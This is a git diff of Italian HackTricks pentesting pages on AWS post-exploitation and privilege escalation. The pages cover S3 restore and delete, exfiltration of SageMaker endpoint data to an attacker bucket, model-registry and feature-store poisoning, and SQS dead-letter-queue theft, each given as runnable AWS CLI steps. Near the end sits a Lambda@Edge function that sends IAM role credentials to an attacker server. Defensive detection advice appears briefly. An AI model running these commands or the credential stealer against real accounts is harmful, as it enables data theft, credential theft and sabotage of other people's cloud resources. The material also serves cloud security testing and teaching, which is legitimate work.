accessibili. Questo abilita la recovery e l'exfiltration di dati storicamente archiviati (backups, snapshots, logs, certifications, old secrets) che normalmente sarebbero fuori portata. Se l'attacker combina questa permission con read permissions (es., s3:GetObject), può ottenere copie complete di dati sensibili. +Un attaccante con il permesso `s3:RestoreObject` può riattivare oggetti archiviati in Glacier o Deep Archive, rendendoli temporaneamente accessibili. Questo permette il recupero e l'exfiltration di dati storicamente archiviati (backup, snapshot, logs, certificazioni, vecchi segreti) che normalmente sarebbero fuori portata. Se l'attaccante combina questo permesso con permessi di lettura (es. `s3:GetObject`), può ottenere copie complete di dati sensibili. ```bash aws s3api restore-object \ --bucket \ @@ -47,7 +47,7 @@ aws s3api restore-object \ ``` ### `s3:Delete*` -Un attacker con il permesso s3:Delete* può eliminare oggetti, versioni e interi buckets, interrompere i backups e causare perdita di dati immediata e irreversibile, distruzione di prove e compromissione di artefatti di backup o di recovery. +Un attaccante con il permesso s3:Delete* può cancellare oggetti, versioni e interi bucket, interrompere i backup e causare perdita di dati immediata e irreversibile, distruzione di prove e compromissione degli artefatti di backup o di recovery. ```bash # Delete an object from a bucket aws s3api delete-object \ @@ -64,6 +64,6 @@ aws s3api delete-object \ aws s3api delete-bucket \ --bucket ``` -**Per maggiori informazioni** [**consulta la ricerca originale**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +**Per maggiori informazioni** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md index 0f2bb12ee..b62aff986 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md @@ -2,9 +2,9 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Esfiltrazione dei dati dell'endpoint SageMaker tramite UpdateEndpoint DataCaptureConfig +## Estrazione dei dati dall'endpoint SageMaker tramite UpdateEndpoint DataCaptureConfig -Abusare della gestione degli endpoint SageMaker per abilitare la cattura completa di request/response in un S3 bucket controllato dall'attaccante senza toccare il modello o il container. Usa un rolling update a downtime zero/basso e richiede solo permessi di gestione dell'endpoint. +Abusare della gestione degli endpoint SageMaker per abilitare la cattura completa di request/response in un attacker‑controlled S3 bucket senza toccare il model o il container. Utilizza un zero/low‑downtime rolling update e richiede solo i permessi di gestione dell'endpoint. ### Requisiti - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` @@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q echo "EndpointConfig=$CFG" aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json ``` -2) Preparare la destinazione S3 dell'attacker per captures +2) Preparare la destinazione S3 dell'attacker per le captures ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-capture-$ACC-$(date +%s) aws s3 mb s3://$BUCKET --region $REGION ``` -3) Crea una nuova EndpointConfig che mantiene le stesse varianti ma abilita DataCapture nell'attacker bucket +3) Crea un nuovo EndpointConfig che mantiene le stesse varianti ma abilita DataCapture verso attacker bucket -Nota: usa content types espliciti che soddisfino la validazione della CLI. +Nota: Usa tipi di contenuto espliciti che soddisfino la validazione della CLI. ```bash NEWCFG=${CFG}-dc cat > /tmp/dc.json << JSON @@ -54,51 +54,51 @@ aws sagemaker create-endpoint-config \ --production-variants file:///tmp/pv.json \ --data-capture-config file:///tmp/dc.json ``` -4) Applica la nuova configurazione con un rolling update (downtime minimo/assente) +4) Applica la nuova config con un rolling update (downtime minimo/nullo) ```bash aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" ``` -5) Genera almeno una chiamata di inferenza (opzionale se è presente traffico in tempo reale) +5) Generare almeno una chiamata di inferenza (opzionale se è presente traffico live) ```bash echo '{"inputs":[1,2,3]}' > /tmp/payload.json aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \ --content-type application/json --accept application/json \ --body fileb:///tmp/payload.json /tmp/out.bin || true ``` -6) Verificare i capture nel bucket S3 dell'attaccante +6) Verificare captures in attacker S3 ```bash aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize ``` -### Impact -- Esfiltrazione completa dei payload delle richieste e delle risposte di inferenza in tempo reale (e dei metadati) dall'endpoint mirato a un bucket S3 controllato dall'attaccante. -- Nessuna modifica all'immagine del modello/container e solo cambiamenti a livello di endpoint, consentendo un percorso di furto dati furtivo con minima interruzione operativa. +### Impatto +- Full exfiltration of real‑time inference request and response payloads (and metadata) dall'endpoint di destinazione a un S3 bucket controllato dall'attaccante. +- Nessuna modifica all'immagine del model/container e solo modifiche a livello di endpoint, consentendo un percorso di data theft furtivo con minima interruzione operativa. ## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig -Abusare della gestione dell'endpoint per reindirizzare gli output di inference asincrona a un bucket S3 controllato dall'attaccante clonando l'EndpointConfig corrente e impostando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Questo esfiltra le predizioni del modello (e qualsiasi input trasformato incluso dal container) senza modificare il modello/container. +Abusa della gestione degli endpoint per reindirizzare gli output di inferenza asincrona a un S3 bucket controllato dall'attaccante clonando l'EndpointConfig corrente e impostando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Questo exfiltrates le model predictions (e qualsiasi transformed inputs inclusi dal container) senza modificare il model/container. -### Requirements +### Requisiti - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` -- S3: Capacità di scrivere nel bucket S3 controllato dall'attaccante (tramite il ruolo di esecuzione del modello o una policy del bucket permissiva) +- S3: Capacità di scrivere sul S3 bucket controllato dall'attaccante (tramite il model execution role o una bucket policy permissiva) - Target: un endpoint InService in cui le invocazioni asincrone sono (o saranno) utilizzate -### Steps -1) Raccogliere gli attuali ProductionVariants dall'endpoint di destinazione +### Passaggi +1) Raccogliere i current ProductionVariants dall'endpoint target ```bash REGION=${REGION:-us-east-1} EP= CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json ``` -2) Crea un attacker bucket (assicurati che il model execution role possa PutObject su di esso) +2) Crea un bucket dell'attaccante (assicurati che il ruolo di esecuzione del modello possa effettuare PutObject su di esso) ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-async-exfil-$ACC-$(date +%s) aws s3 mb s3://$BUCKET --region $REGION || true ``` -3) Clona EndpointConfig e hijack AsyncInference outputs nell'attacker bucket +3) Clona EndpointConfig e hijack gli output di AsyncInference al attacker bucket ```bash NEWCFG=${CUR_CFG}-async-exfil cat > /tmp/async_cfg.json << JSON @@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name " aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" ``` -4) Trigger an async invocation e verifica che gli oggetti finiscano in attacker S3 +4) Eseguire un'invocazione asincrona e verificare che gli oggetti finiscano nello S3 dell'attaccante ```bash aws s3 cp /etc/hosts s3://$BUCKET/inp.bin aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true @@ -116,28 +116,28 @@ sleep 30 aws s3 ls s3://$BUCKET/async-out/ --recursive || true aws s3 ls s3://$BUCKET/async-fail/ --recursive || true ``` -### Impatto -- Reindirizza i risultati di inference asincrona (e i corpi di errore) su S3 controllato dall'attaccante, permettendo l'esfiltrazione nascosta delle predizioni e, potenzialmente, degli input sensibili pre/post-elaborati prodotti dal container, senza modificare il codice del modello o l'immagine e con downtime minimo/assente. +### Impact +- Reindirizza i risultati di inferenza asincrona (e i corpi degli errori) a S3 controllato dall'attaccante, abilitando la covert exfiltration delle predizioni e, potenzialmente, degli input pre/post-processati sensibili prodotti dal container, senza cambiare il codice del modello o l'immagine e con downtime minimo/nullo. ## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved) -Se un attaccante può eseguire CreateModelPackage su un target SageMaker Model Package Group, può registrare una nuova versione del modello che punta a un'immagine container controllata dall'attaccante e contrassegnarla immediatamente come Approved. Molte pipeline CI/CD distribuiscono automaticamente le versioni di modello Approved su endpoint o job di training, causando l'esecuzione di codice dell'attaccante con i ruoli di esecuzione del servizio. L'esposizione cross-account può essere amplificata da una resource policy permissiva sul ModelPackageGroup. +If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy. ### Requirements -- IAM (minimo per avvelenare un gruppo esistente): `sagemaker:CreateModelPackage` on the target ModelPackageGroup -- Optional (per creare un gruppo se non esiste): `sagemaker:CreateModelPackageGroup` -- S3: Read access to referenced ModelDataUrl (or host attacker-controlled artifacts) -- Target: A Model Package Group that downstream automation watches for Approved versions +- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup +- Optional (to create a group if one doesn’t exist): `sagemaker:CreateModelPackageGroup` +- S3: accesso in lettura al ModelDataUrl referenziato (o ospitare artefatti controllati dall'attaccante) +- Target: un Model Package Group che l'automazione downstream monitora per versioni Approved ### Steps -1) Set region and create/find a target Model Package Group +1) Imposta la regione e crea/trova un Model Package Group target ```bash REGION=${REGION:-us-east-1} MPG=victim-group-$(date +%s) aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group" ``` -2) Preparare dati di modello fittizi in S3 +2) Preparare dati modello fittizi in S3 ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-mpkg-$ACC-$(date +%s) @@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION head -c 1024 /tmp/model.tar.gz aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION ``` -3) Registrare una versione Approved model package malevola (qui innocua) che faccia riferimento a un'immagine pubblica AWS DLC +3) Registrare una Approved model package version malevola (qui benigna) che fa riferimento a un'immagine AWS DLC pubblica ```bash IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3" cat > /tmp/inf.json << JSON @@ -162,17 +162,17 @@ cat > /tmp/inf.json << JSON JSON aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json ``` -4) Verifica che la nuova versione approvata esista +4) Verificare che esista la nuova versione Approved ```bash aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table ``` ### Impatto -- Avvelenare il Model Registry con una versione Approved che fa riferimento a codice controllato dall'attaccante. Le pipeline che auto-deploy le Approved models potrebbero pullare ed eseguire l'immagine dell'attaccante, causando esecuzione di codice con i ruoli di endpoint/training. -- Con una permissiva ModelPackageGroup resource policy (PutModelPackageGroupPolicy), questo abuso può essere innescato cross-account. +- Avvelenare il Model Registry con una versione Approved che fa riferimento a codice controllato dall'attaccante. Le Pipelines che distribuiscono automaticamente modelli Approved possono scaricare ed eseguire l'immagine dell'attaccante, causando l'esecuzione di codice con i ruoli endpoint/training. +- Con una policy permissiva sulla risorsa ModelPackageGroup (PutModelPackageGroupPolicy), questo abuso può essere innescato tra account. -## Avvelenamento del Feature store +## Avvelenamento del Feature Store -Abusare di `sagemaker:PutRecord` su una Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature live consumate dall'online inference. Combinato con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili. Questo non richiede accesso a modelli o endpoint. +Abusa di `sagemaker:PutRecord` su una Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature in tempo reale utilizzati dall'inferenza online. In combinazione con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili. Questo non richiede accesso a modelli o endpoint. {{#ref}} feature-store-poisoning.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md index 310092eb0..ad27fbe46 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -2,18 +2,18 @@ {{#include ../../../../banners/hacktricks-training.md}} -Sfruttare `sagemaker:PutRecord` su una Feature Group con OnlineStore abilitato per sovrascrivere valori di feature live consumati dall'inferenza in tempo reale. Combinato con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili. Ciò non richiede l'accesso a modelli o endpoint. +Abusa di `sagemaker:PutRecord` su un Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature live consumati dall'online inference. Combinato con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili. Questo non richiede accesso a modelli o endpoint. -## Requirements +## Requisiti - Permessi: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` -- Obiettivo: Feature Group con OnlineStore abilitato (tipicamente a supporto dell'inferenza in tempo reale) -- Complessità: **LOW** - Comandi AWS CLI semplici, non è richiesta la manipolazione dei modelli +- Obiettivo: Feature Group con OnlineStore abilitato (tipicamente a supporto di inferenza in tempo reale) +- Complessità: **BASSA** - Comandi AWS CLI semplici, nessuna manipolazione del modello richiesta -## Steps +## Passaggi -### Reconnaissance +### Ricognizione -1) Elencare le Feature Groups con OnlineStore abilitato +1) Elencare i Feature Group con OnlineStore abilitato ```bash REGION=${REGION:-us-east-1} aws sagemaker list-feature-groups \ @@ -21,16 +21,16 @@ aws sagemaker list-feature-groups \ --query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \ --output table ``` -2) Descrivere un Feature Group di destinazione per comprenderne lo schema +2) Descrivere un target Feature Group per capire il suo schema ```bash FG= aws sagemaker describe-feature-group \ --region $REGION \ --feature-group-name "$FG" ``` -Nota i `RecordIdentifierFeatureName`, `EventTimeFeatureName` e tutte le definizioni delle feature. Sono necessari per creare record validi. +Nota i `RecordIdentifierFeatureName`, `EventTimeFeatureName` e tutte le definizioni delle feature. Questi sono necessari per creare record validi. -### Attack Scenario 1: Data Poisoning (Overwrite Existing Records) +### Scenario d'attacco 1: Data Poisoning (Sovrascrivere i record esistenti) 1) Leggi il record legittimo corrente ```bash @@ -39,7 +39,7 @@ aws sagemaker-featurestore-runtime get-record \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-001 ``` -2) Avvelena il record con valori malevoli usando il parametro inline `--record` +2) Avvelena il record con valori maligni usando il parametro inline `--record` ```bash NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) @@ -56,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \ ]" \ --target-stores OnlineStore ``` -3) Verificare i dati avvelenati +3) Verifica i dati avvelenati ```bash aws sagemaker-featurestore-runtime get-record \ --region $REGION \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-001 ``` -**Impatto**: I modelli ML che utilizzano questa feature ora vedranno `risk_score=0.99` per un utente legittimo, potenzialmente bloccando le sue transazioni o servizi. +**Impatto**: I modelli ML che consumano questa feature vedranno ora `risk_score=0.99` per un utente legittimo, potenzialmente bloccando le loro transazioni o servizi. -### Scenario di attacco 2: Iniezione di dati malevoli (Creare record fraudolenti) +### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records) -Iniettare record completamente nuovi con feature manipolate per eludere i controlli di sicurezza: +Inietta record completamente nuovi con feature manipolate per eludere i controlli di sicurezza: ```bash NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) @@ -91,11 +91,11 @@ aws sagemaker-featurestore-runtime get-record \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-999 ``` -**Impatto**: L'attaccante crea un'identità fittizia con un punteggio di rischio basso (0.01) che può effettuare transazioni fraudolente di alto valore senza attivare il rilevamento delle frodi. +**Impatto**: L'attaccante crea un'identità falsa con un punteggio di rischio basso (0.01) che può effettuare transazioni fraudolente di alto valore senza attivare il rilevamento delle frodi. -### Scenario di attacco 3: Sensitive Data Exfiltration +### Attack Scenario 3: Sensitive Data Exfiltration -Leggere più record per estrarre caratteristiche confidenziali e profilare il comportamento del modello: +Leggere più record per estrarre feature confidenziali e profilare il comportamento del modello: ```bash # Exfiltrate data for known users for USER_ID in user-001 user-002 user-003 user-999; do @@ -106,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \ --record-identifier-value-as-string ${USER_ID} done ``` -**Impatto**: caratteristiche confidenziali (punteggi di rischio, modelli di transazione, dati personali) esposte all'attaccante. +**Impact**: Caratteristiche confidenziali (punteggi di rischio, schemi di transazione, dati personali) esposte all'attaccante. -### Creazione di Feature Group per test/demo (Opzionale) +### Creazione di un Feature Group di test/demo (Opzionale) -Se devi creare un Feature Group di test: +Se hai bisogno di creare un Feature Group di test: ```bash REGION=${REGION:-us-east-1} FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text) @@ -143,6 +143,6 @@ fi echo "Feature Group ready: $FG" ``` -## Riferimenti -- [Documentazione AWS SageMaker Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html) -- [Best practice di sicurezza per Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html) +## References +- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html) +- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md index c0ea169d4..670de5c99 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -1,55 +1,55 @@ -# AWS – SQS DLQ Esfiltrazione Redrive tramite StartMessageMoveTask +# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask {{#include ../../../banners/hacktricks-training.md}} -## Descrizione +## Description -Abusa dei task di spostamento dei messaggi SQS per rubare tutti i messaggi accumulati nella Dead-Letter Queue (DLQ) di una vittima reindirizzandoli verso una queue controllata dall'attaccante usando `sqs:StartMessageMoveTask`. Questa tecnica sfrutta la funzionalità legittima di recovery dei messaggi di AWS per esfiltrare dati sensibili che si sono accumulati nelle DLQ nel tempo. +Abusa dei message move task di SQS per rubare tutti i messaggi accumulati nella Dead-Letter Queue (DLQ) di una vittima reindirizzandoli a una coda controllata dall'attaccante usando `sqs:StartMessageMoveTask`. Questa tecnica sfrutta la funzionalità legittima di recupero dei messaggi di AWS per esfiltrare dati sensibili che si sono accumulati nelle DLQ nel tempo. -## Cos'è una Dead-Letter Queue (DLQ)? +## What is a Dead-Letter Queue (DLQ)? -Una Dead-Letter Queue è una queue SQS speciale dove i messaggi vengono inviati automaticamente quando non riescono a essere processati con successo dall'applicazione principale. Questi messaggi falliti spesso contengono: +Una Dead-Letter Queue è una coda SQS speciale dove i messaggi vengono inviati automaticamente quando non vengono processati correttamente dall'applicazione principale. Questi messaggi falliti spesso contengono: - Dati sensibili dell'applicazione che non sono stati processati -- Dettagli di errore e informazioni di debugging -- Informazioni di identificazione personale (PII) -- Token API, credenziali o altri segreti -- Dati di transazioni critiche per il business +- Dettagli di errore e informazioni di debug +- Personal Identifiable Information (PII) +- API token, credenziali o altri segreti +- Dati di transazioni business-critical -Le DLQ fungono da "cimitero" per i messaggi falliti, rendendole obiettivi di valore poiché accumulano dati sensibili nel tempo che le applicazioni non sono state in grado di gestire correttamente. +Le DLQ agiscono come un "cimitero" per i messaggi falliti, rendendole obiettivi preziosi poiché accumulano dati sensibili nel tempo che le applicazioni non sono riuscite a gestire correttamente. -## Scenario d'attacco +## Attack Scenario -**Esempio reale:** -1. **Un'applicazione e-commerce** processa ordini dei clienti tramite SQS -2. **Alcuni ordini falliscono** (problemi di pagamento, scorte, ecc.) e vengono spostati in una DLQ -3. **La DLQ accumula** settimane/mesi di ordini falliti contenenti dati dei clienti: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` -4. **L'attaccante ottiene accesso** a credenziali AWS con permessi SQS +**Real-world example:** +1. **E-commerce application** processa gli ordini dei clienti tramite SQS +2. **Alcuni ordini falliscono** (problemi di pagamento, problemi di inventario, ecc.) e vengono spostati in una DLQ +3. **La DLQ si accumula** settimane/mesi di ordini falliti contenenti dati dei clienti: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +4. **L'attaccante ottiene l'accesso** alle credenziali AWS con permessi SQS 5. **L'attaccante scopre** che la DLQ contiene migliaia di ordini falliti con dati sensibili -6. **Invece di cercare di accedere ai singoli messaggi** (lento e evidente), l'attaccante usa `StartMessageMoveTask` per trasferire in blocco TUTTI i messaggi nella propria queue -7. **L'attaccante estrae** tutti i dati storici sensibili in un'unica operazione +6. **Invece di cercare di accedere ai singoli messaggi** (lento e evidente), l'attaccante usa `StartMessageMoveTask` per trasferire in blocco TUTTI i messaggi nella propria coda +7. **L'attaccante estrae** tutti i dati sensibili storici in un'unica operazione -## Requisiti -- La source queue deve essere configurata come DLQ (referenziata da almeno una queue RedrivePolicy). +## Requirements +- La source queue deve essere configurata come DLQ (referenziata da almeno una RedrivePolicy di una coda). - Permessi IAM (eseguito come il principal vittima compromesso): - Sulla DLQ (sorgente): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. -- Sulla destination queue: permesso di consegnare messaggi (es. policy della queue che permette `sqs:SendMessage` dal principal vittima). Per destinazioni nello stesso account questo è tipicamente consentito di default. -- Se SSE-KMS è abilitato: sulla CMK della sorgente `kms:Decrypt`, e sulla CMK di destinazione `kms:GenerateDataKey`, `kms:Encrypt`. +- Sulla coda di destinazione: permesso di consegnare messaggi (es. una queue policy che permetta `sqs:SendMessage` dal principal vittima). Per destinazioni nello stesso account questo è tipicamente permesso di default. +- Se SSE-KMS è abilitato: sulla CMK sorgente `kms:Decrypt`, e sulla CMK di destinazione `kms:GenerateDataKey`, `kms:Encrypt`. -## Impatto -Esfiltrare payload sensibili accumulati nelle DLQ (eventi falliti, PII, token, payload dell'applicazione) ad alta velocità usando le API native di SQS. Funziona cross-account se la policy della queue di destinazione permette `SendMessage` dal principal vittima. +## Impact +Esfiltrare payload sensibili accumulati nelle DLQ (eventi falliti, PII, token, payload applicativi) ad alta velocità usando le API native di SQS. Funziona cross-account se la queue policy di destinazione permette `SendMessage` dal principal vittima. -## Come abusare +## How to Abuse -- Identificare l'ARN della DLQ vittima e assicurarsi che sia effettivamente referenziata come DLQ da qualche queue (qualsiasi queue va bene). -- Creare o scegliere una destination queue controllata dall'attaccante e ottenere il suo ARN. -- Avviare un message move task dalla DLQ vittima alla tua destination queue. -- Monitorare il progresso o cancellare se necessario. +- Identifica l'ARN della DLQ vittima e assicurati che sia effettivamente referenziata come DLQ da qualche coda (qualsiasi coda va bene). +- Crea o scegli una coda di destinazione controllata dall'attaccante e ottieni il suo ARN. +- Avvia un message move task dalla DLQ vittima alla tua coda di destinazione. +- Monitora il progresso o annulla se necessario. -### CLI Example: Esfiltrazione di dati clienti dal DLQ di e-commerce +### CLI Example: Exfiltrating Customer Data from E-commerce DLQ -**Scenario**: Un attaccante ha compromesso credenziali AWS e ha scoperto che un'applicazione e-commerce usa SQS con una DLQ contenente tentativi falliti di processare ordini dei clienti. +**Scenario**: Un attaccante ha compromesso credenziali AWS e ha scoperto che un'applicazione e-commerce usa SQS con una DLQ contenente tentativi falliti di elaborazione degli ordini dei clienti. -1) **Scoprire ed esaminare la DLQ della vittima** +1) **Discover and examine the victim DLQ** ```bash # List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) aws sqs list-queues --queue-name-prefix dlq @@ -115,21 +115,21 @@ echo "Received batch of stolen data..." echo "$MESSAGES" >> stolen_customer_data.json done ``` -### Note tra account -- La queue di destinazione deve avere una resource policy che consenta al principal vittima di `sqs:SendMessage` (e, se usato, concessioni/permessi KMS). +### Note cross-account +- La destination queue deve avere una resource policy che consenta al victim principal di `sqs:SendMessage` (e, se usati, KMS grants/permissions). ## Perché questo attacco è efficace -1. **Funzionalità AWS legittima**: Sfrutta funzionalità AWS integrate, rendendo difficile rilevarlo come attività malevole -2. **Operazione massiva**: Trasferisce migliaia di messaggi rapidamente invece di accessi individuali lenti -3. **Dati storici**: Le DLQ accumulano dati sensibili nel corso di settimane/mesi +1. **Funzionalità AWS legittima**: Usa funzionalità integrate di AWS, rendendo difficile rilevarlo come attività malevola +2. **Operazione in blocco**: Trasferisce migliaia di messaggi rapidamente invece di accessi lenti e individuali +3. **Dati storici**: Le DLQs accumulano dati sensibili per settimane/mesi 4. **Sotto il radar**: Molte organizzazioni non monitorano attentamente l'accesso alle DLQ 5. **Capacità cross-account**: Può esfiltrare verso l'account AWS dell'attaccante se i permessi lo consentono ## Rilevamento e prevenzione ### Rilevamento -Monitora CloudTrail per chiamate API `StartMessageMoveTask` sospette: +Monitorare CloudTrail per chiamate API `StartMessageMoveTask` sospette: ```json { "eventName": "StartMessageMoveTask", @@ -145,10 +145,10 @@ Monitora CloudTrail per chiamate API `StartMessageMoveTask` sospette: } ``` ### Prevenzione -1. **Principio del minimo privilegio**: Restrict `sqs:StartMessageMoveTask` permissions to only necessary roles -2. **Monitorare le DLQs**: Imposta allarmi CloudWatch per attività DLQ anomale -3. **Politiche cross-account**: Rivedi attentamente le policy delle code SQS che consentono accesso cross-account -4. **Cripta le DLQs**: Usa SSE-KMS con policy di chiavi ristrette +1. **Privilegio minimo**: Restringere i permessi `sqs:StartMessageMoveTask` solo ai ruoli necessari +2. **Monitorare le DLQs**: Configurare allarmi CloudWatch per attività anomale delle DLQs +3. **Policy cross-account**: Revisionare attentamente le policy delle code SQS che consentono accesso cross-account +4. **Crittografare le DLQs**: Usare SSE-KMS con policy delle chiavi ristrette 5. **Pulizia regolare**: Non lasciare che dati sensibili si accumulino nelle DLQs indefinitamente {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md index e892c046d..ab68b247a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md @@ -6,9 +6,9 @@ ### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig` -Un attacker che dispone delle autorizzazioni cloudfront:UpdateDistribution e cloudfront:GetDistributionConfig può modificare la configurazione di una distribution di CloudFront. Non servono permessi sul bucket S3 di destinazione, anche se l'attacco è più semplice se quel bucket ha una policy permissiva che consente l'accesso dal service principal cloudfront.amazonaws.com. +Un attaccante che dispone dei permessi cloudfront:UpdateDistribution e cloudfront:GetDistributionConfig può modificare la configurazione di una distribuzione CloudFront. Non sono necessari permessi sul bucket S3 di destinazione in sé, anche se l'attacco è più semplice se quel bucket ha una policy permissiva che consente l'accesso dal cloudfront.amazonaws.com service principal. -L'attacker modifica la origin configuration della distribution per puntarla a un altro bucket S3 o a un server controllato dall'attacker. Per prima cosa recuperano la configurazione corrente della distribution: +L'attaccante modifica la configurazione dell'origin della distribuzione per farla puntare a un altro bucket S3 o a un server controllato dall'attaccante. Per prima cosa recuperano la configurazione corrente della distribuzione: ```bash aws cloudfront get-distribution-config --id | jq '.DistributionConfig' > current-config.json ``` @@ -135,42 +135,42 @@ The attacker creates a malicious Lambda@Edge function that steals the IAM role c ```bash // malicious-lambda-edge.js exports.handler = async (event) => { - // Obtain role credentials - const credentials = { - accessKeyId: process.env.AWS_ACCESS_KEY_ID, - secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY, - sessionToken: process.env.AWS_SESSION_TOKEN, - }; - // Send credentials to attacker's server - try { - await fetch("https:///steal-credentials", { - method: "POST", - headers: { "Content-Type": "application/json" }, - body: JSON.stringify(credentials) - }); - } catch (error) { - console.error("Error sending credentials:", error); - } - if (event.Records && event.Records[0] && event.Records[0].cf) { - // Modify response headers - const response = event.Records[0].cf.response; - response.headers["x-credential-theft"] = [ - { - key: "X-Credential-Theft", - value: "Successful", - }, - ]; - return response; - } - return { - statusCode: 200, - body: JSON.stringify({ message: "Credentials stolen" }) - }; +// Obtain role credentials +const credentials = { +accessKeyId: process.env.AWS_ACCESS_KEY_ID, +secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY, +sessionToken: process.env.AWS_SESSION_TOKEN, 